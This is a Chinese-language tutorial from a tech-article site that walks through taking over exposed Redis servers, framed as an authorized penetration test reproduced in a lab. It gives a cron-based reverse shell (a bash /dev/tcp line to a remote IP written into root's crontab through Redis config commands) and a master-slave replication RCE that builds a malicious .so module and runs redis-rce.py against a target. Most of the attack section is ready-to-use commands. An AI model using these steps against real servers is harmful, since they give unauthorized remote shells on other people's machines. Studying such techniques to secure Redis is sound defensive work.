溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Redis+Getshell的示例分析

發(fā)布時間:2022-01-13 15:44:23 來源:億速云 閱讀:213 作者:小新 欄目:安全技術(shù)

小編給大家分享一下Redis+Getshell的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

前言:

當(dāng)我們接到一個授權(quán)滲透測試的時候,常規(guī)漏洞如注入、文件上傳等嘗試無果后,掃描端口可能會發(fā)現(xiàn)意外收獲。

知己知彼乃百戰(zhàn)不殆,Redis介紹:

簡單來說 redis 就是一個Key-Value類型的數(shù)據(jù)庫, redis 所有數(shù)據(jù)全部在內(nèi)存中進行操作,并且它可以將內(nèi)存中的數(shù)據(jù)定期存儲在磁盤中,并且支持保存多種數(shù)據(jù)結(jié)構(gòu)(String、hash、list等)。

運籌帷幄之中,Redis漏洞:

1、未授權(quán)訪問漏洞

Redis在默認情況下,會綁定在0.0.0.0:6379,如果沒有采用限制IP訪問,就會將Redis服務(wù)暴露在公網(wǎng)上,并且在沒有設(shè)置密碼認證的情況下,會導(dǎo)致任意用戶未授權(quán)訪問Redis以及讀取Redis數(shù)據(jù)并寫入公鑰進行遠程連接等。

當(dāng)拿到數(shù)據(jù)庫權(quán)限是不會滿足我們的,我們的目標(biāo)只有一個getshell!

目前較主流的兩個方法,第一種定時計劃反彈shell、第二種利用主從復(fù)制rce。

2、定時計劃反彈shell

1)set x "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n"

2)config set dir /var/spool/cron/

3)config set dbfilename root

4)save

3、利用主從復(fù)制rce

漏洞存在于4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機數(shù)據(jù)都是一樣的,從機只負責(zé)讀,主機只負責(zé)寫。在Reids 4.x之后,通過外部拓展,可以實現(xiàn)在redis中實現(xiàn)一個新的Redis命令,構(gòu)造惡意.so文件。在兩個Redis實例設(shè)置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件,即可執(zhí)行命令。

需要利用一個工具,GitHub下載即可。

1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)

2)git clone https://github.com/Ridter/redis-rce.git

進而通過未授權(quán)訪問或者弱口令連接redis,執(zhí)行腳本即可獲取shell。
Redis+Getshell的示例分析

決勝千里之外,實戰(zhàn)演練:

本次掃到了6379也就是Redis,有的時候可能或改默認端口,建議全端口掃描,本次利用主從復(fù)制rce獲取shell(由于該漏洞已提交src,簽約保密協(xié)議,故搭建靶機還原真實環(huán)境,保證原汁原味。)

攻擊端ip:192.168.109.134

服務(wù)端ip:192.168.109.136

Redis+Getshell的示例分析通過未授權(quán)訪問連接redis(如果有密碼,可以嘗試爆破,authpassword 登陸系統(tǒng)):Redis-cli –h ip
Redis+Getshell的示例分析利用主從復(fù)制rce獲取shell

首先要生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。
Redis+Getshell的示例分析攻擊端執(zhí)行:

python redis-rce.py -r 目標(biāo)ip-p 目標(biāo)端口 -L 本地ip -f 惡意.so

成功獲取shell
Redis+Getshell的示例分析

以上是“Redis+Getshell的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI